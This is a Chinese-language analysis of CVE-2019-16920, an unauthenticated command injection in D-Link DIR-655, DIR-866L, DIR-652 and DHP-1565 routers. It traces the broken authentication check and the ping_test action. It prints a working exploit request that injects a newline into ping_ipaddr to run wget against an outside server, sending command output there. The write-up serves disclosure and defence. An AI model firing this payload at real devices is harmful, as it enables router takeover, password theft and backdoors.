简介
2019年9月,Fortinet FortiGuard实验室发现并报告了D-Link 产品中的有个非认证的命令注入漏洞——CVE-2019-16920,成功利用该漏洞可以导致远程代码执行。因为该漏洞可以在不经过认证的情况下远程触发,因此研究人员将该漏洞评为中危。
受影响的产品包括D-Link的:
· DIR-655
· DIR-866L
· DIR-652
· DHP-1565
漏洞细节
该漏洞源于一个失败的认证检查。为了了解该问题,研究人员首先查看了admin页面,然后执行了login动作。
POST /apply_sec.cgi HTTP/1.1 Host: 192.168.232.128 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 142 Connection: close Referer: http://192.168.232.128/ Upgrade-Insecure-Requests: 1 html_response_page=login_pic.asp&login_name=YWRtaW4%3D&log_pass=&action=do_graph_auth&login_n=admin&tmp_log_pass=& graph_code=&session_id=62384
List 1: Login Request
登陆动作是通过URI /apply_sec.cgi完成的。快速检索发现 apply_sec.cgi 代码位于/www/cgi/ssi 的do_ssc (0x40a210)函数中。current_user 和 user_username的值是来源于nvram中的:
图1: do_ssc代码段
然后函数会比较current_user和变量acStack160的值。
nvram中的current_user值只有成功登陆后才会设置,所以该值默认情况下是不初始化的。AcStack160的值是base64encode(user_username)的解果,所以默认情况下user_username会被设置为 “user”,所以iVar2不会返回0,也不会返回到error.asp 页面。
图2: do_ssc代码段2
在do-while循环的代码中,程序会调用函数put_querystring_env()来分析HTTP POST请求,并保存值到ENV中。然后函数会调用query_vars(“action”, acStack288, 0x80)
图3: 函数query_vars 代码段
这就为action提供了值,会保存为ENV中的acStack288。如果一切顺利的话,返回的值就是0。
变量 iVar2等于0后,就到了if条件。他会将URI的值与字符串“/apply_sec.cgi”进行比较。如果匹配超过, ppcVar3 就会指向SSC_SEC_OBJS数组,否则就指向SSC_OBJS数组。
图4: do_ssc代码段3
ppcVar3指向了 SSC_SEC_OBJS数组,这是action值list。如果我们输入不在list中的值,程序就会返回LAB_0040a458,并报错“No OBJS for action: <action input>”。
图5: do_ssc中的错误输出代码段
可以在图2中看到失败的认证检查。即使在没有认证的情况下代码也会执行,也就是说可以在/apply_sec.cgi路径下的SSC_SEC_OBJS数组中执行任意动作。
SSC_SEC_OBJS action数组位于 init_plugin()函数的寄存器register中:
图6: init_plugin代码段
下面查看地址0x0051d89c,并将其变量转化为word类型,可以看到以下数组:
图7: address 0x0051d89C
其中有有个action需要关注:
图8: 字符串 ping_test和action 地址
然后到了 sub_41A010,该函数会从param ping_ipaddr中获取值。并通过inet_aton(), inet_ntoa()函数转化,然后执行ping:
图9: sub_41A010代码段
如果尝试输入特殊字符,比如双引号、引号等,ping就会失败。但是如果加入换行符,就可以执行命令注入:
POST /apply_sec.cgi HTTP/1.1 Host: 192.168.232.128 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 131 Connection: close Referer: http://192.168.232.128/login_pic.asp Cookie: uid=1234123 Upgrade-Insecure-Requests: 1 html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0awget%20-P%20/tmp/%20http://45.76.148.31:4321/?$(echo 1234)
List 2: ping_test动作中的Exploit Request
下面用action ping_test实现到apply_sec.cgi的POST HTTP请求。然后研究人员在ping_ipaddr中执行了命令注入。即使返回了login页面,ping_test动作仍然执行了,ping_ipaddr的值会执行路由器服务器的“echo 1234”命令,并返回结果到研究人员控制的服务器。
图10: 成功的漏洞利用流量
攻击者可以利用这种方式来提取admin密码,安装后门到服务器中。
结论
该漏洞的根源在于没有对原生系统命令执行的命令进行检查,这也是许多固件厂商存在的安全问题。该漏洞CVE编号为CVE-2019-16920。研究人员建议受影响的D-Link用户更新到最新的产品或固件。